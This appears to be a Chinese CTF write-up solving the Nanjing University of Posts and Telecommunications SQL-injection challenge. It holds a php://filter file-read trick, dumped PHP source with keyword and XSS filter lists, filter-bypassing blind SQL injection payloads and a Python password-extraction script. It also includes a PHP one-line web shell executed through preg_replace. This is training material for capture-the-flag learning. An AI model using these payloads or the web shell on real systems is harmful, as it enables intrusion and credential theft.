3. 关于sql注入的综合题

关于sql注入的综合题

                         ----------南京邮电大学ctf : http://cms.nuptzj.cn/

页面上也给了好多信息：

根据这个sm.txt , 我们可以得到好多消息，config.php：存放数据库信息，移植此CMS时要修改 index.php：主页文件 passencode.php：Funny公司自写密码加密算法库 say.php：用于接收和处理用户留言请求 sm.txt：本CMS的说明文档 sae的information_schema表好像没法检索，我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, )，表名 ： admin  字段名 ：username , userpass

而且当我们看到这个url : http://cms.nuptzj.cn/about.php?file=sm.txt  我们可以感受到文件包含的气息 。具体操作步骤在我上一篇博客中：http://www.cnblogs.com/bmjoker/p/8877336.html，我们尝试输入 http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=antiinject.php

我们通过https://www.107000.com/ 解码：可以得到

antiinject.php
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

同理我们可以得到：

so.php
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔，本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库！！".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>

say.php
<?php
include 'config.php';
$nice=$_POST['nice'];
$say=$_POST['usersay'];
if(!isset($_COOKIE['username'])){
setcookie('username',$nice);
setcookie('userpass','');
}
$username=$_COOKIE['username'];
$userpass=$_COOKIE['userpass'];
if($nice=="" || $say==""){
echo "<script>alert('昵称或留言内容不能为空！(如果有内容也弹出此框，不是网站问题喔~ 好吧，给个提示：查看页面源码有惊喜！)');</script>";
exit();
}
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库！！".mysql_error());
mysql_select_db($db_name,$con);
$nice=mysql_real_escape_string($nice);
$username=mysql_real_escape_string($username);
$userpass=mysql_real_escape_string($userpass);
$result=mysql_query("SELECT username FROM admin where username='$nice'",$con);
$login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con);
if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){
echo "<script>alert('昵称已被使用，请更换！');</script>";
mysql_free_result($login);
mysql_free_result($result);
mysql_close($con);
exit();
}
mysql_free_result($login);
mysql_free_result($result);
$say=mysql_real_escape_string($say);
mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con);
mysql_close($con);
echo '<script>alert("构建和谐社会，留言需要经过管理员审核才可以显示！");window.location = "./index.php"</script>';
?>

passencode.php
<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>

antixss.php
<?php
function antixss($content){
preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
$key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜，很懒，所以。。。(过滤规则来自Mramydnei)
$re=$url[2];
if(count($url)==0){
return htmlspecialchars($content);
}else{
for($i=0;$i<=count($key);$i++){
$re=str_replace($key[$i], '_',$re);
}
return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
}
}
?>

about.php
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空！";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录，禁止查看！但是。。。')</script>";
}
}

通过观察so.php，存在注入点soid。数据表名为admin 字段名username userpass
开始注入

soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/0,1)
# 有回显
soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/1,1)
# 无回显

说明该表中只有一条记录。

soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>4)
# 有回显
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>5)
# 无回显

说明用户名长度 5 位，那应该就是 admin 了，试下前两位。

soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,1,1))>96)
# 96 有回显，97 无回显，第一位 a
soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,2,1))>99)
# 99 有回显，100 无回显，第二位 d

很明显就是 admin 了。

soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>33)
# 有回显
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>34)
# 无回显

说明密码长度 34 位，之前还读到一个 passencode.php 文件。

密文存储了密码的 ASCII 码，那么就是纯数字了，写个脚本跑一下。

利用脚本爆内容

# coding=utf-8
import requests
import string
 
urlmain = 'http://cms.nuptzj.cn/so.php'
headers = {
    'User-Agent': 'Xlcteam Browser',
    'Host': 'cms.nuptzj.cn',
}
 
payloads = string.digits
password = ''
 
for i in range(1, 35):
    for j in payloads:
        payload = ('1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where'
                   '/**/ascii(mid(userpasPASSs,%s,1))>%s)' % (i, ord(j)))
        data = {
            'soid': payload
        }
        response = requests.post(url=urlmain, headers=headers, data=data)
        if len(response.content) < 430:
            password += j
            print '[*] Fetching password: ' + password
            break

结果为admin        1020117099010701140117011001160117

后面的加密算法在passencode.php里面解密为    fuckruntu
有了账号密码就可以登后台了在about.php里有loginxlcteam

找到登陆后台：http://cms.nuptzj.cn/loginxlcteam/

登录

一句话木马

xlcteam.php
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

典型的一句话木马

上网搜索

令www=preg_replace&wtf=print_r(scandir(‘.’))
出flag